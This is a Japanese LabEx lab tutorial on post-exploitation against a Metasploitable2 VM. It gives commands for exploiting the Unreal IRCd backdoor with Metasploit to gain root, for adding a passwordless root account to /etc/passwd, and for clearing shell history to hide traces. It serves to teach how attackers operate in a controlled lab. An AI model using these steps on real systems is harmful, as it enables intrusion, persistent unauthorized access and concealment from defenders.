はじめに
この実験では、ペネトレーション攻撃を通じてターゲットマシンへのアクセスに成功した後、バックドアを作成し、痕跡を消去する方法を学びます。このシナリオはLabEx環境で設定されており、Kaliターミナルを使用してMetasploitable2ターゲットマシンの脆弱性を悪用し、root権限を取得し、将来のアクセスのためにバックドアを作成し、攻撃プロセス中に残された痕跡を消去します。
ターゲットマシンでのroot権限取得
このステップでは、Unreal Ircdの脆弱性を利用してターゲットマシンでroot権限を取得します。
まず、実験のために攻撃マシン(Kali Linuxコンテナ)とターゲットマシン(Metasploitable2仮想マシン)を起動します。
LabExホストマシンでxfceターミナルを開き、以下のコマンドを実行してMetasploitable2ターゲットを起動します。
sudo virsh start Metasploitable2
ターゲットマシンが起動するまで待ちます(1〜3分かかる場合があります)。
pingを送信してターゲットマシンへの接続をテストします。
ping 192.168.122.102
Ctrl+C を押してpingを停止します。
Kali Linuxコンテナを起動し、以下のコマンドでbash環境に入ります。
docker run -ti --network host b5b709a49cd5 bash
Kaliコンテナ内で、ターゲットマシンへのネットワーク接続をテストします。
ping 192.168.122.102
Ctrl+C を押してpingを停止します。
これで攻撃マシンとターゲットマシンの両方が実行状態となり、ペネトレーションテストを開始できます。
注意: 誤って現在のbashを終了すると、Kaliコンテナは自動的に停止します。その場合は、ホスト上で再度 docker run -ti --network host b5b709a49cd5 bash を実行して新しいKaliコンテナを起動し、bashに入って実験を継続してください。
Kali Linuxコンテナ内で、以下のコマンドをKali Linuxのbashターミナルに入力します。
service postgresql start
msfdb init
cd ~
msfconsole
これにより、PostgreSQLデータベースサービスが開始され、データベースが初期化され、さらなる操作のためにMetasploit Framework Console (msfconsole) が起動します。
Unreal Ircdの脆弱性モジュールを検索します。
search unreal_ircd
unix/irc/unreal_ircd_3281_backdoor モジュールを使用します。
use exploit/unix/irc/unreal_ircd_3281_backdoor
ターゲットのIPアドレスを設定します。
set RHOST 192.168.122.102
モジュール用にbind shellペイロードを選択します。
set PAYLOAD cmd/unix/bind_perl
脆弱性を悪用してアクセス権を取得します。
exploit
現在のユーザーを確認します。
whoami
ターゲットマシンでroot権限を取得できたことが確認できるはずです。
Ctrl+Dを押してMetasploitコンソールを終了し、検査を開始してください
バックドアの作成
このステップでは、root権限を取得した状態で、将来ターゲットマシンにアクセスするためのバックドアを作成します。
まず、Metasploitコンソールにいない場合は、コンソールを起動してください。
cd ~
msfconsole
次に、システム情報を確認します。
uname -a
rootユーザーのbashの場所を確認します。
cat /etc/passwd
パスワードなしのバックドアアカウントを作成します。
echo 'shiyanlou1234::0:0::/:/bin/sh' >> /etc/passwd
バックドアアカウントが作成されたことを確認します。
cat /etc/passwd
出力の中に新しいアカウント shiyanlou1234 が表示されているはずです。
新しいターミナルを開き、バックドアアカウントを使用してターゲットマシンに接続します。
telnet 192.168.122.102
プロンプトが表示されたら、ユーザー名 shiyanlou1234 を入力します。
現在のユーザーを確認します。
whoami
バックドアユーザーとしてログインしていることが確認できるはずです。
Ctrl+Dを押してMetasploitコンソールを終了し、検査を開始してください
痕跡の消去
このステップでは、アクセス権を取得しバックドアを作成した後、検出を避けるために攻撃プロセス中に残された痕跡を消去することが重要です。
まず、Metasploitコンソールにいない場合は、コンソールを起動してください。
cd ~
msfconsole
痕跡を消去する一般的な方法の一つは、コマンド履歴を削除することです。履歴は .bash_history ファイルに保存されています。以下のコマンドを使用して履歴を消去できます。
history -c
.bash_history ファイルを消去するには、find コマンドを使用してその場所を特定します。
find / -name .bash_history
Ctrl+Dを押してMetasploitコンソールを終了し、検査を開始してください
まとめ
この実験では、Unreal Ircdの脆弱性を利用してターゲットマシンでroot権限を取得する方法、将来のアクセスのためにバックドアアカウントを作成する方法、そして攻撃プロセス中に残された痕跡を消去する方法を学びました。この実践的な経験は、攻撃者がペネトレーション攻撃の成功後に永続的なアクセスを維持し、自身の足跡を隠すために使用する手法を理解するのに役立ちます。



